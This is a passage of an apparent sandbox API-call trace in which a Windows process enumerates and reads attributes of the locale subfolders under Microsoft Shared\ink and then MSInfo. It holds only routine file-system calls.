lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.522] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.522] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT", lpFilePart=0x0) returned 0x38 [0077.522] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.522] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT", lpFilePart=0x0) returned 0x38 [0077.522] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.522] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.522] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT", lpFilePart=0x0) returned 0x38 [0077.522] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.522] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.523] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO", lpFilePart=0x0) returned 0x38 [0077.523] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.523] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO", lpFilePart=0x0) returned 0x38 [0077.523] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.523] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.523] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO", lpFilePart=0x0) returned 0x38 [0077.523] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.523] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.523] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU", lpFilePart=0x0) returned 0x38 [0077.523] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.523] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU", lpFilePart=0x0) returned 0x38 [0077.523] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.523] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.524] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU", lpFilePart=0x0) returned 0x38 [0077.524] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.524] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.524] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK", lpFilePart=0x0) returned 0x38 [0077.524] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.524] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK", lpFilePart=0x0) returned 0x38 [0077.524] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.524] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.524] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK", lpFilePart=0x0) returned 0x38 [0077.524] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.524] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.524] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI", lpFilePart=0x0) returned 0x38 [0077.524] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.524] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI", lpFilePart=0x0) returned 0x38 [0077.525] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.525] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.525] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI", lpFilePart=0x0) returned 0x38 [0077.525] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.525] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.525] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS", lpFilePart=0x0) returned 0x3d [0077.525] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.525] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS", lpFilePart=0x0) returned 0x3d [0077.525] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.525] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.525] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS", lpFilePart=0x0) returned 0x3d [0077.525] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.525] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.526] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE", lpFilePart=0x0) returned 0x38 [0077.526] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.526] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE", lpFilePart=0x0) returned 0x38 [0077.526] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.526] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.526] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE", lpFilePart=0x0) returned 0x38 [0077.526] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.526] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.526] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH", lpFilePart=0x0) returned 0x38 [0077.526] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.526] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH", lpFilePart=0x0) returned 0x38 [0077.526] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.526] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.527] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH", lpFilePart=0x0) returned 0x38 [0077.527] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.527] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.527] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR", lpFilePart=0x0) returned 0x38 [0077.527] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.527] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR", lpFilePart=0x0) returned 0x38 [0077.527] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.527] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.527] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR", lpFilePart=0x0) returned 0x38 [0077.527] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.527] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.527] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA", lpFilePart=0x0) returned 0x38 [0077.527] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.528] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA", lpFilePart=0x0) returned 0x38 [0077.528] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.528] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.528] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA", lpFilePart=0x0) returned 0x38 [0077.528] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.528] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.528] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN", lpFilePart=0x0) returned 0x38 [0077.528] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.528] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN", lpFilePart=0x0) returned 0x38 [0077.528] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.528] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.528] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN", lpFilePart=0x0) returned 0x38 [0077.528] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.528] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.529] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW", lpFilePart=0x0) returned 0x38 [0077.529] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.529] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW", lpFilePart=0x0) returned 0x38 [0077.529] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.529] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.529] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW", lpFilePart=0x0) returned 0x38 [0077.529] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.529] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.529] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink", lpFilePart=0x0) returned 0x32 [0077.529] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe9558 [0077.529] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.530] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo", lpFilePart=0x0) returned 0x35 [0077.530] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.530] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo", lpFilePart=0x0) returned 0x35 [0077.530] FindFirstFileW (in: 